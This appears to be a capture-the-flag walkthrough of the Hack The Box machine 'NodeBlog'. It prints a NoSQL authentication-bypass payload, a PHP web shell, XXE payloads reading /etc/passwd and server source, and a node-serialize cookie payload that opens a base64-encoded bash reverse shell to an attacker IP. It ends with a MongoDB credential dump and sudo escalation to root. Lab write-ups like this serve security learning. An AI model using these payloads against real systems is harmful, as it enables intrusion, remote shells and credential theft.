Box: NodeBlog
Level: Easy
OS: Linux
Lets get started
Recon
PortScanning
command:sudo nmap -A -v -p- -T4 10.129.96.160
Nmap scan report for 10.129.96.160
Host is up (0.21s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
| 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
5000/tcp open http Node.js (Express middleware)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Blog
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94%E=4%D=10/23%OT=22%CT=1%CU=32229%PV=Y%DS=2%DC=T%G=Y%TM=653635
OS:03%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=107%TI=Z%CI=Z%II=I%TS=A)OP
OS:S(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST
OS:11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)EC
OS:N(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S)
Uptime guess: 39.434 days (since Wed Sep 13 23:30:20 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 1025/tcp)
HOP RTT ADDRESS
1 199.89 ms 10.10.14.1
2 200.02 ms 10.129.96.160
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Oct 23 09:55:31 2023 -- 1 IP address (1 host up) scanned in 826.12 seconds
From our nmap scan we have 2 open ports, port 22 which runs the ssh service and port 5000 which runs the http service. Weâll focus our enumeration today on port 5000
Enumeration
Navigate to the webpage
From our nmap scan we can see that this webpage is running on the nodejs express framework
Lets try to login with default creds. weâll capture the request and send it over to burp repeater
oops, invalid password.
During my research on the express framework I saw that asides the âContent-Typeâ application/x-www-form-urlencoded
So we can use the âContent-Typeâ application/json
. If we are using json
this means our request will have a different structure
After editing, your request should look like this
nice nice, we were able to successfully change the content-type. One way we know this worked is from the âInvalid Passwordâ error we got.
We can try to bypass this login page by using a NoSQL
payload. So, weâll be performing Authentication Bypass in json format.
payload:{"username": {"$gt":""}, "password": {"$gt":""}}
Modifying our request should get us logged in
We didnât get the âInvalid Passwordâ error, does this mean we have successfully bypassed the login page?? Well lets confirm this by showing the response in our browser
nice nice, we are in hehe.
We can see thereâs an upload button. Well, lets exploit this
Exploitation
Weâll start out by uploading a php script (no time to waste for testing with jpg or png extensionsđ)
Lets create a php file
âââ(bl4ck4nonđ˝bl4ck4non-sec)-[~/Downloads/HTB/nodeblog]
ââ$ nano abeg.php
âââ(bl4ck4nonđ˝bl4ck4non-sec)-[~/Downloads/HTB/nodeblog]
ââ$ cat abeg.php
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>
Lets upload this and see what happens, weâll capture this request and send it over to burp repeater
oops, we get the âinvalid xml exampleâ error. Well, this means the accepted file extension is xml.
We can see from the response we got on burpsuite the xml format we are to use
weâll create a simple xml file using that format
<?xml version="1.0" encoding="UTF-8"?>
<post>
<title>
BlackAnon's Info
</title>
<description>
BlackAnon is 26 years of age
</description>
<markdown>
This is a markdown
</markdown>
</post>
Well, thatâs my age right there hehe.
Save this in a file âinfo.xmlâ
After uploading, you should see this
As you can see our xml file got executed successfully.
Ever heard of XML external entity injection?
XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application's processing of XML data. It often allows an attacker to view files on the application server filesystem, and to interact with any back-end or external systems that the application itself can access.This means we can cook up a payload that can help us read files
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]>
<post>
<title>
BlackAnon's Info
</title>
<description>
&read;
</description>
<markdown>
This is a markdown
</markdown>
</post>
Save this in a file âabeg.xmlâ
Now lets upload
Nice Nice, it worked.
Earlier on when I was trying to get the right format for the json request I actually got an error
We can see the directory /opt/blog
. Lets see if we can use our xml payload to read files from there.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///opt/blog/server.js'>]>
<post>
<title>
BlackAnon's Info
</title>
<description>
&read;
</description>
<markdown>
This is a markdown
</markdown>
</post>
Save this in a file âbankai.xmlâ and try to upload
nice nice, we can read the server.js
file
Exploiting Node-Serialization
âNode-serializeâ typically refers to a vulnerability or security risk related to the use of the serialization
. This blog actually helped in understanding how to exploit this vulnerability
Capture the request of the webpage again using burpsuite and take a look at the cookie that is being used
Url Decoding the cookie gives us this
{"user":{"$gt":""},"sign":"4b7029c2a4ed7527255315fc356bf082"}
this is the cookie that is being url encoded
Weâll be using the payload used in the blog
{"rce":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('ls /',
function(error, stdout, stderr) { console.log(stdout) });\n }()"}
So, we can cook our own payload to be this
{"user":{"$gt":""},"sign":"4b7029c2a4ed7527255315fc356bf082","BlackAnon":"_$$ND_FUNC$$_function (){require(\"child_process\").exec(\"nc 10.10.14.61 4444\", function(error, stdout, stderr) { console.log(stdout) });}()"}
So what this will do is send a connection to port 4444
, weâll set up our netcat listener to listen for incoming connections
Now, url encode that and replace it with the previous cookie
After sending the request check your netcat listener,
cool, we got a connection.
Now, instead of sending a connection lets spawn a reverse shell
Weâll encode our reverse shell in base64,
âââ(bl4ck4nonđ˝bl4ck4non-sec)-[~/Downloads/HTB/nodeblog]
ââ$ echo -n "bash -i >& /dev/tcp/10.10.14.61/1234 0>&1" | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjEvMTIzNCAwPiYx
To decode this base64
âââ(bl4ck4nonđ˝bl4ck4non-sec)-[~/Downloads/HTB/nodeblog]
ââ$ echo -n "YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjEvMTIzNCAwPiYx" | base64 -d
bash -i >& /dev/tcp/10.10.14.61/1234 0>&1
To execute this reverse shell weâll use a pipe (|) to send the output of the echo command as input to the bash shell.
Our final payload looks like this
{"user":{"$gt":""},"sign":"4b7029c2a4ed7527255315fc356bf082","BlackAnon":"_$$ND_FUNC$$_function (){require(\"child_process\").exec(\"echo -n YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjEvMTIzNCAwPiYx | base64 -d | bash\", function(error, stdout, stderr) { console.log(stdout) });}()"}
Weâll url encode this, then replace it with the previous cookie. Also, ensure you set up your netcat listener
Checking the netcat listener we set up
we spawned a shell hehehe.
To stabilize the shell
python3 -c âimport pty;pty.spawn(â/bin/bashâ)â
ctrl + z (to background)
stty raw -echo && fg
export TERM=xterm
Lets try to read the user flag
Permission Denied keđ. Well, since we spwned a shell as user admin
and itâs user admin that owns that directory, we can actually change the permissions
command:chmod +x admin/
Lets escalate our privileges
Privilege Escalation
Running the command netstat -tulnp
We can see MongoDB listening on port 27017.
To connect to the mongodb just run the command mongo
To show databases;
command:show dbs
> show dbs
admin 0.000GB
blog 0.000GB
config 0.000GB
local 0.000GB
To connect to a database;
command:use blog
> use blog
switched to db blog
To list the contents of the database;
command:show collections
> show collections
articles
users
To dump the content of all the documents within the collection named users;
command:db.users.find().pretty()
> db.users.find().pretty()
{
"_id" : ObjectId("61b7380ae5814df6030d2373"),
"createdAt" : ISODate("2021-12-13T12:09:46.009Z"),
"username" : "admin",
"password" : "IppsecSaysPleaseSubscribe",
"__v" : 0
}
We got the password for the admin user
Now, lets run the sudo -l
command since weâve gotten the userâs password
So, we can run all the commands with root permissions
To spawn a root shell, lets run the command sudo su
We got root shellđ
I learmt new stuffs from this box actually.
That will be all for today
Back To Home